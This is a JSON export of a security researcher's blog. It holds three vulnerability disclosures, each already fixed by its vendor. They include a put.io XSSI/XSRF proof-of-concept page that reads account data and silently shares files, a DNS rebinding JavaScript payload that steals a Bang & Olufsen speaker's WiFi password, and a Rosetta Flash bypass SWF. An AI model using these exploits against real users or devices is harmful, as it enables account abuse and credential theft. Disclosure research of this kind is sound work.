[{"content":"","date":"August 10, 2015","externalUrl":null,"permalink":"/","section":"Miki's Blog","summary":"","title":"Miki's Blog","type":"page"},{"content":"","date":"August 10, 2015","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"Put.io is a great torrent cloud storage service that allows to almost instantly stream videos you download from a Torrent.\nTheir API is pretty powerful, and allows easy integration in software, browser extensions and plugins for multimedia appliances. I was reading its documentation and unfortunately quickly found out that the design was open to sensitive data exfiltration by just making an unsuspecting logged-in user visit a malicious web page.\nFurthermore, it was possible to perform actions on behalf of the user, such as sending and accepting friend requests, adding, deleting and sharing files and folders, and so on.\nUpdate - Put.io response: Hasan from Put.io quickly replied to my email and confirmed they were working on a fix. On August 6 they confirmed they dropped JSONP and cookie authentication out from the API endpoints completely. Thanks put.io, great job!\nThat looks bad. How comes?\nThis is because they used to allow JSONP, which is a cross-site script inclusion (XSSI) by design, on tokenless requests, relying on cookie authentication only. Furthermore, there were several actions with side effects vulnerable to cross-site request forgery (XSRF).\nFor instance, I found out that POST/GET /friends/\u0026lt;username\u0026gt;/request worked with just the cookie (and no token).\nThis means that any HTML page on the web could do this:\n\u0026lt;img src=\u0026#34;https://api.put.io/v2/friends/mikispag/request\u0026#34; /\u0026gt; and any logged in user to put.io would send a friend request to me. This is a XSRF vulnerability, and there were many more.\nAs I previously said, JSONP is XSSI by design. This means that if you put sensitive data in the output of a JSONP endpoint, and the request does not need any token, any site can read (and log/exfiltrate) the response via the callback function.\nI prepared a harmless proof of concept to demonstrate how bad this was. Of course it no longer works, but it was meant to be opened in a browser in which you are logged in to put.io:\nIt will print your username, email address, data plan with expiration date, disk usage, and by visiting that webpage you just sent a friend request to me, shared all your files with every friend, downloaded the pilot of Mr. Robot to your root folder and created a \u0026ldquo;HACKED\u0026rdquo; directory. All the data could also be logged to a remote database, of course.\nIt does not require any user interaction, it\u0026rsquo;s just a matter of visiting a URL.\nHTML code for the Proof of Concept # \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;put.io XSSI/XSRF Proof of Concept\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { font-family: \u0026#34;Verdana\u0026#34;; } .hide { display: none; } span { font-weight: bold; } \u0026lt;/style\u0026gt; \u0026lt;script src=\u0026#34;https://code.jquery.com/jquery-2.1.4.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; var fileIds = []; function exfiltrateAccount(object) { if (object[\u0026#34;status\u0026#34;] !== \u0026#34;OK\u0026#34;) return; var username = object[\u0026#34;info\u0026#34;][\u0026#34;username\u0026#34;]; var email = object[\u0026#34;info\u0026#34;][\u0026#34;mail\u0026#34;]; var planExpiration = new Date( object[\u0026#34;info\u0026#34;][\u0026#34;plan_expiration_date\u0026#34;] ).toDateString(); var disk = object[\u0026#34;info\u0026#34;][\u0026#34;disk\u0026#34;]; var diskUsed = (disk.used / 1073741824).toFixed(2); var diskAvail = (disk.avail / 1073741824).toFixed(2); $(\u0026#34;#username\u0026#34;).text(username); $(\u0026#34;#email\u0026#34;).text(email); $(\u0026#34;#expiration\u0026#34;).text(planExpiration); $(\u0026#34;#totalDisk\u0026#34;).text(disk.size / 1073741824 + \u0026#34; GB\u0026#34;); $(\u0026#34;#disk\u0026#34;).text(diskUsed + \u0026#34; GB used, \u0026#34; + diskAvail + \u0026#34; GB available\u0026#34;); } function exfiltrateFiles(object) { if (object[\u0026#34;status\u0026#34;] !== \u0026#34;OK\u0026#34;) return; var parent = object[\u0026#34;parent\u0026#34;][\u0026#34;id\u0026#34;] || \u0026#34;files\u0026#34;; for (var i = 0; i \u0026lt; object[\u0026#34;files\u0026#34;].length; i++) { var file = object[\u0026#34;files\u0026#34;][i]; var contentType = file[\u0026#34;content_type\u0026#34;]; var id = file[\u0026#34;id\u0026#34;]; fileIds.push(id); if (contentType === \u0026#34;application/x-directory\u0026#34;) { var script = document.createElement(\u0026#34;script\u0026#34;); script.src = \u0026#34;https://api.put.io/v2/files/list?parent_id=\u0026#34; + id + \u0026#34;\u0026amp;callback=exfiltrateFiles\u0026#34;; var first = document.getElementsByTagName(\u0026#34;script\u0026#34;)[0]; first.parentNode.insertBefore(script, first); } var name = file[\u0026#34;name\u0026#34;]; var root = $(\u0026#34;#\u0026#34; + parent); root.append($(\u0026#34;\u0026lt;ul\u0026gt;\u0026#34;).append($(\u0026#34;\u0026lt;li id=\u0026#34; + id + \u0026#34;\u0026gt;\u0026#34;).text(name))); } } function exfiltrateEvents(object) { if (object[\u0026#34;status\u0026#34;] !== \u0026#34;OK\u0026#34;) return; for (var i = 0; i \u0026lt; object[\u0026#34;events\u0026#34;].length; i++) { var event = object[\u0026#34;events\u0026#34;][i]; var description = event[\u0026#34;created_at\u0026#34;] + \u0026#34; \u0026#34; + event[\u0026#34;type\u0026#34;] + \u0026#34; - \u0026#34; + event[\u0026#34;transfer_name\u0026#34;]; $(\u0026#34;#events\u0026#34;).append($(\u0026#34;\u0026lt;li\u0026gt;\u0026#34;).text(description)); } } function exfiltrateTransfers(object) { if (object[\u0026#34;status\u0026#34;] !== \u0026#34;OK\u0026#34;) return; for (var i = 0; i \u0026lt; object[\u0026#34;transfers\u0026#34;].length; i++) { var transfer = object[\u0026#34;transfers\u0026#34;][i]; var description = transfer[\u0026#34;status\u0026#34;] + \u0026#34; \u0026#34; + transfer[\u0026#34;name\u0026#34;]; description += \u0026#34; (\u0026#34; + transfer[\u0026#34;source\u0026#34;] + \u0026#34;) - \u0026#34; + transfer[\u0026#34;current_ratio\u0026#34;] + \u0026#34;%\u0026#34;; $(\u0026#34;#transfers\u0026#34;).append($(\u0026#34;\u0026lt;li\u0026gt;\u0026#34;).text(description)); } } function exfiltrateFriends(object) { if (object[\u0026#34;status\u0026#34;] !== \u0026#34;OK\u0026#34;) return; var numberOfFriends = parseInt(object[\u0026#34;total\u0026#34;], 10); $(\u0026#34;#numberOfFriends\u0026#34;).text(numberOfFriends); for (var i = 0; i \u0026lt; object[\u0026#34;friends\u0026#34;].length; i++) { $(\u0026#34;#friends\u0026#34;).append($(\u0026#34;\u0026lt;li\u0026gt;\u0026#34;).text(object[\u0026#34;friends\u0026#34;][i][\u0026#34;name\u0026#34;])); } } function shareFiles() { if (fileIds.length \u0026gt; 0) { var ids = fileIds.join(\u0026#34;,\u0026#34;); fileIds = []; $(\u0026#34;#shareIds\u0026#34;).val(ids); $(\u0026#34;#shareForm\u0026#34;).submit(); } } $(function () { // Share every file with everyone setInterval(shareFiles, 3000); // Create a HACKED folder in your root directory $(\u0026#34;#folderForm\u0026#34;).submit(); // Download the pilot of Mr. Robot in your root directory $(\u0026#34;#transferForm\u0026#34;).submit(); }); \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;put.io XSSI/XSRF Proof of Concept\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt; Welcome, \u0026lt;span id=\u0026#34;username\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;!\u0026lt;br /\u0026gt;I now know your email address (\u0026lt;span id=\u0026#34;email\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;), that your \u0026lt;span id=\u0026#34;totalDisk\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; put.io plan expires on \u0026lt;span id=\u0026#34;expiration\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; and that your disk usage is: \u0026lt;span id=\u0026#34;disk\u0026#34;\u0026gt;\u0026lt;/span\u0026gt;. \u0026lt;/p\u0026gt; \u0026lt;p\u0026gt; By visiting this webpage, you just sent a \u0026lt;strong\u0026gt;friend request\u0026lt;/strong\u0026gt; to \u0026lt;strong\u0026gt;mikispag\u0026lt;/strong\u0026gt;, \u0026lt;strong\u0026gt;shared all your files with every friend\u0026lt;/strong\u0026gt;, \u0026lt;strong\u0026gt;added\u0026lt;/strong\u0026gt; the \u0026lt;strong\u0026gt;pilot of Mr. Robot\u0026lt;/strong\u0026gt; to your root folder and \u0026lt;strong\u0026gt;created a \u0026#34;HACKED\u0026#34; directory\u0026lt;/strong\u0026gt;. \u0026lt;/p\u0026gt; \u0026lt;div\u0026gt; \u0026lt;p\u0026gt;Files in your put.io:\u0026lt;/p\u0026gt; \u0026lt;ul id=\u0026#34;files\u0026#34;\u0026gt;\u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;p\u0026gt;You have \u0026lt;span id=\u0026#34;numberOfFriends\u0026#34;\u0026gt;\u0026lt;/span\u0026gt; friends:\u0026lt;/p\u0026gt; \u0026lt;ul id=\u0026#34;friends\u0026#34;\u0026gt;\u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;p\u0026gt;Your account history:\u0026lt;/p\u0026gt; \u0026lt;ul id=\u0026#34;events\u0026#34;\u0026gt;\u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;p\u0026gt;Your active transfers:\u0026lt;/p\u0026gt; \u0026lt;ul id=\u0026#34;transfers\u0026#34;\u0026gt;\u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;img src=\u0026#34;https://api.put.io/v2/friends/mikispag/request\u0026#34; class=\u0026#34;hide\u0026#34; /\u0026gt; \u0026lt;iframe src=\u0026#34;about:blank\u0026#34; class=\u0026#34;hide\u0026#34; name=\u0026#34;hiddenFrame\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;iframe src=\u0026#34;about:blank\u0026#34; class=\u0026#34;hide\u0026#34; name=\u0026#34;hiddenFrame2\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;iframe src=\u0026#34;about:blank\u0026#34; class=\u0026#34;hide\u0026#34; name=\u0026#34;hiddenFrame3\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; \u0026lt;form id=\u0026#34;shareForm\u0026#34; action=\u0026#34;https://api.put.io/v2/files/share\u0026#34; method=\u0026#34;post\u0026#34; target=\u0026#34;hiddenFrame\u0026#34; \u0026gt; \u0026lt;input id=\u0026#34;shareIds\u0026#34; type=\u0026#34;hidden\u0026#34; name=\u0026#34;file_ids\u0026#34; value=\u0026#34;\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;friends\u0026#34; value=\u0026#34;everyone\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;form id=\u0026#34;folderForm\u0026#34; action=\u0026#34;https://api.put.io/v2/files/create-folder\u0026#34; method=\u0026#34;post\u0026#34; target=\u0026#34;hiddenFrame2\u0026#34; \u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;name\u0026#34; value=\u0026#34;HACKED\u0026#34; /\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;parent_id\u0026#34; value=\u0026#34;0\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;form id=\u0026#34;transferForm\u0026#34; action=\u0026#34;https://api.put.io/v2/transfers/add\u0026#34; method=\u0026#34;post\u0026#34; target=\u0026#34;hiddenFrame3\u0026#34; \u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;url\u0026#34; value=\u0026#34;magnet:?xt=urn:btih:792D6535375E66C2CCB77504BDC587E74210761B\u0026amp;dn=mr+robot+s01e01\u0026amp;tr=udp%3A%2F%2Ftracker.publicbt.com%2Fannounce\u0026#34; /\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;script src=\u0026#34;https://api.put.io/v2/account/info?callback=exfiltrateAccount\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://api.put.io/v2/files/list?callback=exfiltrateFiles\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://api.put.io/v2/events/list?callback=exfiltrateEvents\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://api.put.io/v2/transfers/list?callback=exfiltrateTransfers\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;https://api.put.io/v2/friends/list?callback=exfiltrateFriends\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt;","date":"August 10, 2015","externalUrl":null,"permalink":"/posts/put-io-api-design-issues/","section":"Posts","summary":"Put.io is a great torrent cloud storage service that allows to almost instantly stream videos you download from a Torrent.\nTheir API is pretty powerful, and allows easy integration in software, browser extensions and plugins for multimedia appliances. I was reading its documentation and unfortunately quickly found out that the design was open to sensitive data exfiltration by just making an unsuspecting logged-in user visit a malicious web page.\n","title":"Put.io API design issues - I can haz your files","type":"posts"},{"content":"DNS rebinding attacks are known since a long time as useful tools in the hands of attackers for subverting the browser Same-origin policy. The attack abuses DNS, changing the IP address of a website after serving the page contents, usually with some ad-hoc Javascript payload, tricking the browser into waiting some time for the DNS cache to invalidate and perform other requests, still believing it is connecting to the same host, while in reality it is now communicating with a new IP chosen by the attacker. As a result, the attacker can access internal services, exfiltrate information and do other nasty stuff.\nReady-made proof of concept tools exist and mitigations are hard to deploy and not always effective (for example, DNS pinning is not a panacea and dnswall only filters out private IP addresses in DNS response, protecting from just some attacks).\nA practical attack: stealing WiFi passwords # Do you happen to have one of those fancy Bang \u0026amp; Olufsen speakers in your home network?\nThey sound great. They connect to your home network via Ethernet or WiFi, saving the password you input the first time you plug them, and come with a nice web interface.\nYour WiFi password is of course saved unencrypted, but the interesting thing is that it is present as-is in an unauthenticated page, /1000/Bo_network_settings.asp (no login needed). This means that by just visiting a web page on the local network we can see the password. No big deal, if we consider the LAN a security boundary and if Same-origin policy prevents browsers from reading responses of requests to other origins.\nThis is where DNS rebinding comes into play.\nA victim visits a malicious website, let\u0026rsquo;s say attacker.com, with an A DNS record with a very short Time To Live (TTL), such as 60 seconds. The HTML page served contains a malicious Javascript payload, which exploits the famous WebRTC internal IP leak to get the internal IP address of the machine, infers the netmask and starts a scan for B\u0026amp;O devices. In my proof of concept code, image tags are created and removed automatically to find which IP address has /images/BO_processing_grey.gif, typical of B\u0026amp;O devices. If one is found, the scan is stopped and the actual DNS rebinding begins.\nWe now know the B\u0026amp;O device internal IP address (let\u0026rsquo;s say, for example, 192.168.1.10), and we send it to an attacker-controlled backend (which must allow cross origin requests through CORS). The script running on the backend changes the DNS record of the website to 192.168.1.10. In the meantime, the Javascript payload on the client just waits a little bit more than a minute. A skillful attacker might put a game or a very long interesting text to convince the victim to actually stay on the page for a bit longer. The minute passes, and the script tries to get http://attacker.com/1000/Bo_network_settings.asp, the DNS cache is expired, the browser performs a new DNS request and attacker.com now resolves to 192.168.1.10. Since the browser thinks we still are on the same origin, it will happily read the response.\nBingo.\nYou can get the full source code from this GitHub repo.\nThe HTML page:\n\u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;DNS Rebinding demo for Bang \u0026amp;amp; Olufsen devices\u0026lt;/title\u0026gt; \u0026lt;script src=\u0026#34;https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script src=\u0026#34;malicious.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; body { font-family: Helvetica; } #container { display: none; } #ip_msg { font-weight: bold; font-size: 20px; color: red; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p id=\u0026#34;ip_msg\u0026#34;\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;div id=\u0026#34;container\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; The Javascript payload:\nvar last_octet = 1; function rtcGetPeerConnection() { var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; if (!RTCPeerConnection) { var iframe = document.createElement(\u0026#34;iframe\u0026#34;); iframe.style.display = \u0026#34;none\u0026#34;; document.body.appendChild(iframe); var win = iframe.contentWindow; window.RTCPeerConnection = win.RTCPeerConnection; window.mozRTCPeerConnection = win.mozRTCPeerConnection; window.webkitRTCPeerConnection = win.webkitRTCPeerConnection; RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; } if (typeof RTCPeerConnection === \u0026#34;undefined\u0026#34;) return; return RTCPeerConnection; } // WebRTC detection code taken from http://ipleak.net/static/js/index.js function rtcDetection() { var ip_dups = {}; var RTCPeerConnection = rtcGetPeerConnection(); var mediaConstraints = { optional: [ { RtpDataChannels: true, }, ], }; var servers = undefined; // Add the default Firefox STUN server for Chrome if (window.webkitRTCPeerConnection) servers = { iceServers: [ { urls: \u0026#34;stun:stun.services.mozilla.com\u0026#34;, }, ], }; var pc = new RTCPeerConnection(servers, mediaConstraints); // Listen for candidate events pc.onicecandidate = function (ice) { if (ice.candidate) { var ip_regex = /([0-9]{1,3}(\\.[0-9]{1,3}){3})/; var ip_addr_arr = ip_regex.exec(ice.candidate.candidate); if (ip_addr_arr \u0026amp;\u0026amp; ip_addr_arr.length \u0026gt; 0) { var ip_addr = ip_addr_arr[1]; } else return; // Remove duplicates if (ip_dups[ip_addr] === undefined) { if (ip_addr.startsWith(\u0026#34;192.168\u0026#34;)) { findBOLocalIP(ip_addr); } } ip_dups[ip_addr] = true; } }; pc.createDataChannel(\u0026#34;\u0026#34;); pc.createOffer( function (result) { pc.setLocalDescription( result, function () {}, function () {} ); }, function () {} ); } function findBOLocalIP(clientLocalIP) { var ip_minus_last = clientLocalIP.substring( 0, clientLocalIP.lastIndexOf(\u0026#34;.\u0026#34;) ); $(\u0026#34;#ip_msg\u0026#34;).text( \u0026#34;Your local IP is \u0026#34; + clientLocalIP + \u0026#34;, scanning \u0026#34; + ip_minus_last + \u0026#34;.x subnet...\u0026#34; ); // Try a /24 scan with 192.168.y.\u0026lt;i\u0026gt; with the exfiltrated y setInterval(function () { if (++last_octet \u0026lt; 255) { $(\u0026#34;\u0026lt;img\u0026gt;\u0026#34;, { src: \u0026#34;http://\u0026#34; + ip_minus_last + \u0026#34;.\u0026#34; + last_octet + \u0026#34;/images/BO_processing_grey.gif\u0026#34;, id: ip_minus_last + \u0026#34;.\u0026#34; + last_octet, }) .bind(\u0026#34;load\u0026#34;, function () { console.log(\u0026#34;Found: \u0026#34; + this.id); exfiltrateWiFiPassword(this.id); }) .appendTo($(\u0026#34;#container\u0026#34;)); } }, 500); // Force to terminate stalled connections in order to avoid connection limit setTimeout(function () { setInterval(function () { $(\u0026#34;#container\u0026#34;) .find(\u0026#34;:first-child\u0026#34;) .unbind(\u0026#34;load\u0026#34;) .attr( \u0026#34;src\u0026#34;, \u0026#34;data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=\u0026#34; ) .remove(); }, 500); }, 5000); } // Alternatively, you could get /1000/bo_restart_in_bsl.asp to trigger a // restart in BSL mode, wait 30 seconds and upload your own firmware // in /1000/bl_firmware_update.asp POSTing to // /goform/formPostHandler a \u0026#34;uploadForm\u0026#34; form with a \u0026#34;appFirmware\u0026#34; file // with enctype=\u0026#34;multipart/form-data\u0026#34;. No XSRF protection. function exfiltrateWiFiPassword(ip) { // Send internal IP \u0026#34;ip\u0026#34; to the attacker: we need to change // the IP address of this attacker-controlled domain to the // B\u0026amp;O internal IP. // // THIS PART HAS NOT BEEN IMPLEMENTED BECAUSE IT IS NOT NECESSARY // FOR DEMONSTRATION PURPOSES. console.log(\u0026#34;Exfiltrating WiFi password from \u0026#34; + ip + \u0026#34;...\u0026#34;); $(\u0026#34;#ip_msg\u0026#34;) .text(\u0026#34;B\u0026amp;O device found at \u0026#34; + ip + \u0026#34;!\u0026#34;) .fadeIn(); // Stop running scan... last_octet = 255; var WiFiPassword; // Wait 70 seconds (60 seconds for cache invalidation + 10 grace seconds) // and connect to the attacker-controlled host with the new IP. setTimeout(function () { var interval = setInterval(function () { $.get( \u0026#34;/1000/Bo_network_settings.asp\u0026#34; + \u0026#34;?dummy=\u0026#34; + Math.random(), function (data) { var start = data.lastIndexOf(\u0026#39;top: -100px; display: none\u0026#34;\u0026gt;\u0026#39;); if (start == -1) { return; } WiFiPassword = data.slice(start + 28); WiFiPassword = WiFiPassword.slice(0, WiFiPassword.indexOf(\u0026#34;\u0026lt;\u0026#34;)); alert(\u0026#34;Password WiFi: \u0026#34; + WiFiPassword); $(\u0026#34;#ip_msg\u0026#34;).text(\u0026#34;WiFi password found: \u0026#34; + WiFiPassword); clearInterval(interval); } ); }, 5000); }, 70000); } $(document).ready(rtcDetection); This has been tested on the latest Chrome, and should work on most browsers.\nLet\u0026rsquo;s go further: remote firmware upload # While having a look at the web interface, I noticed that there seems to be no anti-XSRF protection in the firmware upload page. All an attacker has to do to reflash the device remotely is fetch /1000/bo_restart_in_bsl.asp to trigger a device reboot in service (BSL) mode, wait 30 seconds and upload a custom firmware in /1000/bl_firmware_update.asp POSTing to /goform/formPostHandler a uploadForm form with a appFirmware file.\nThis means that it should be possible to reflash the device remotely even without DNS rebinding, thanks to the XSRF vulnerability. I did not actually try to do that, and there might be some form of signature verification preventing this.\nPossible mitigations # Embedded device vendors should be made aware of the risks of DNS rebinding. Since it is difficult to squash this technique in the browser, other precautions should be taken.\nWeb servers should be checking the Host header, especially in devices supposed to be in a local network. It is tricky, and might break some configurations.\nNetwork administrators might want to filter private IP addresses out of DNS responses with dnswall, or using external public DNS servers with this filtering, such as OpenDNS.\nI believe the best mitigation for B\u0026amp;O devices would just be not to reflect the saved WiFi password in /1000/Bo_network_settings.asp (it is in an input type=password anyway, so masked out!), and employ signature verification for uploading new firmwares, if this is not in place already.\nConclusions # DNS rebinding attacks are very practical and real, and mitigations are often not adequate to protect users. This, combined with widespread poor security in embedded devices, makes a wide array of attacks possible.\nThanks # I would like to thank Stephen R. and Sebastian L. for helping in writing the proof of concept code.\nUpdate May 13: Bang \u0026amp; Olufsen sent me an update:\nWe have now taken all the needed actions and today we released an updated software for the BeoPlay A9. The product software can be easily updated via the BeoSetup App, over the Internet. The issue is being addressed by removing the sensitive data from the setup webpages, in such a way that the device does not reflect the saved WiFi password back to the clients.\n","date":"April 20, 2015","externalUrl":null,"permalink":"/posts/the-power-of-dns-rebinding-stealing-wifi-passwords-with-a-website/","section":"Posts","summary":"DNS rebinding attacks are known since a long time as useful tools in the hands of attackers for subverting the browser Same-origin policy. The attack abuses DNS, changing the IP address of a website after serving the page contents, usually with some ad-hoc Javascript payload, tricking the browser into waiting some time for the DNS cache to invalidate and perform other requests, still believing it is connecting to the same host, while in reality it is now communicating with a new IP chosen by the attacker. As a result, the attacker can access internal services, exfiltrate information and do other nasty stuff.\n","title":"The power of DNS rebinding: stealing WiFi passwords with a website","type":"posts"},{"content":"Adobe pushed a tentative fix for Rosetta Flash in Flash Player 14 beta codename Lombard (version 14.0.0.125, release notes) and finalized the fix in the next release, version 14.0.0.145, on July 8, 2014.\nIn the security bulletin APSB14-17, Adobe mentions a stricter verification of the SWF file format:\nThese updates include additional validation checks to ensure that Flash Player rejects malicious content from vulnerable JSONP callback APIs (CVE-2014-4671).\nWhat I quickly found out after reversing the patch is that the fix was not good enough.\nThe old 14.0.0.145 fix # What Flash Player used to do in order to disrupt Rosetta Flash-like attacks was:\nCheck the first 8 bytes of the file. If there is at least one JSONP-disallowed character, then the SWF is considered safe and no further check is performed.\nFlash will then check the next 4096 bytes. If there is at least one JSONP-disallowed character, the file is considered safe.\nOtherwise the file is considered unsafe and is not executed.\nFirst problem: JSONP whitelist too broad # The JSONP-disallowed list was [^0-9A-Za-z\\._] and was too broad. For instance, they were considering the $ character as disallowed in a JSONP callback, which is often not true, because of jQuery and other fancy JS libraries.\nThis means that if you add $ to the ALLOWED_CHARSET in Rosetta Flash, and the JSONP endpoint allows the dollar sign in the callback (they almost always do), you bypass the fix.\nSecond problem: we control the ADLER32 checksum! # A Rosetta Flash-generated SWF file ends with four bytes that are the manipulated ADLER32 checksum of the original, uncompressed SWF. A motivated attacker can use the last four malleable bytes to match something already naturally returned by the JSONP endpoint after the padding.\nAn example that always works is the one character right after the reflected callback: an open parenthesis: (.\nSo, if we make the last byte of the checksum a (, and the rest of the SWF is alphanumeric, we can pass as a callback the file except the last byte, and we will have a response with a full valid SWF that bypasses the check by Adobe (because ( is disallowed in callbacks).\nWe are lucky: the last byte of the checksum is the least significant of S1, a partial sum, and it is trivial to force it to ( with our Sled + Delta bruteforcing technique.\nHere is a valid alphanum Flash file that ends with an open parenthesis and that we could pass, trimming the last character, as a JSONP callback (wrapped, remove newlines):\nCWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333 swW0ssG033wDDtpt33333www03333gFPoHXwHHhOHHFhH3D0Up0IZUnnnnnnnnn nnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333333333333333s03sDTVqef XAxooooD0CiudIbEAt333wEDDt0GDGpDDwGG0wttttwwDtwt33333www033333G fBDTHHHHChHHHMRFHHHhHHCccCSsgSkKoumWW7D0Up0IZUnnnnnnnnnnnnnnnnn nnUU5nnnnnn3Snn7YNqdIbeUVUUUeF13333WUDUUT1333G1333333WUU03GDTVq efXA8oddx888f9V0CiudIbEAt3W0wDt033sGG0GttGwt33333333ww0333GDfBD hRHJqqIHZvAqFzAHjVUVYrvqQQzrEVAArzrAnVrzQfrNeYErmqeHjVUVYrvqQQz ryzmrvqqfFmVHjVUVYrvqQQz2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3S nn7CiudIbEAtswwW0GDDG033st0GDDGwGGG33333333s033sDdFPvrfZbynqbJA yHRZIZAbznNNrbAqNbrAnqNjbrNjbjZaZAQbynqHRZIZAbznNNrbVZQbynqbjni NHRZIZAbznNNrbzFIZbynqb1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Sn n7wiudIbEAtwWDttDDDwpDGpDDwG0stDDGptDwpDttt3st3GDDDtDDDtDDDGDDD t033sDDt333wwv33gBDIHjYqqEHEVHEfuEHdHnQFfuHVaEHyfEJfuEbqYaZEHAf QvENHyzYqAAHaZuyzYqAAHyfEJnafqeEHIYqEqEMIfHaZnQHynmfHrEZvfHNfnv NEHzYfZEfJfuEbnfAFHZIIHBrrfERYqIbAZvyHJfuEbqYaZEHWXHDHLttwXHOhW XHDhLWXHDHgDHHHHxlHoHWTHDXD8D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnn n3Snn7CiudIbEAtwu3swD33wwGptpDDG0333sG0w33333www033GdFPtxtDtdtT TdHHHWOhHXVoXHttnoXHtLwoxHtlttnoXHtLwoXHtlwodH4D0Up0IZUnnnnnnnn nnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDwG333sw0GtDDDw03333sDt3333 3sG03sDDdFPtxXdHNwXHdLggGGWwXHdHNwXHdlgwDHDhHHHddNwXHdTg7D0Up0I ZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333sE0GDtDDDtDDDwDG pDDwGGpt03wDDDGDDDG0333st333swwv3wwwFPXHLRKvOXHLHAODHLBLHAOXHLB SOdHthHHHcODHDXLrSCsOXHLLAOXHLlSODHLJLLAOXHLlSOXHLjSsOtHtotHHLH AOtHtXHHHLhAOXHLZKvWhHHsODHDHLzSWhHhvODHDHLFwBHHhHxmHXgGHkHOXHL HAOXHLbSOtHLftQHHHsOXHLVAOXHLvSOaH4D0Up0IZUnnnnnnnnnnnnnnnnnnnU U5nnnnnn3Snn7GNqdIbeUV13333333333333333sUUfpDDqUE0gfzAox88D8888 D8888D88880CiudIbEAt3sWtwG3swwGptwG0wDG03333GDD33333sw033gFPLlt THHHLLnwXHLVWfwXHLHnwlHLvtHHHHLHGggwrHthHHHXDhtxHHHLNkfwlHDHLBt HHHHg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwwEwDGG ptwtG03sDwwwGDGt3wwGGwGDtGDsw0GDtGpDDt33333www033GdFPtHDHTLdHHH HTBrnHRxjHHHObHDHvQJaZMvJfNHgCcGHVKKkHSmcsHoXHTHwhHHloXHThbodHd hHHHTXboXHTxAlH2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SnnwWNqdIb e13333333333333WfV133sUU03sDUVUUUefXA888ooooooooooooooooooooooo ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo oooooooooooooooooooooooooooooooooooooooooooc8888888888888888888 8888888888880tvI( This issue has CVE-2014-5333.\nThe new fix in 14.0.0.176 # I reported the bypass to Adobe as soon as I discovered it, a few days after my writeup was published. We worked together for coming up with a complete fix.\nThe new version, released on August 12 2014, does the following checks in sequence:\nLook for Content-Type: application/x-shockwave-flash header. If found, return OK. Scan the first 8 bytes of the file. If any byte is \u0026gt;= 0x80 (non-ASCII), return OK. Scan the rest of the SWF, and at maximum 4096 bytes. If any byte is \u0026gt;= 0x80, return OK. The SWF is invalid, do not execute it. In the security bulletin APSB14-18, Adobe mentions the new validation:\nThese updates include a new validation check to handle specially crafted SWF content that can bypass restrictions introduced in version 14.0.0.145. The new restrictions in 14.0.0.176 prevent Flash Player from being used for cross-site request forgery attacks on JSONP endpoints (CVE-2014-5333).\nI believe this is finally enough.\nCredits # Thanks to Nicolas Ruff, my colleague at Google, for reversing the patches and to Avira Blog for the illustration at the top of this blog post.\n","date":"August 15, 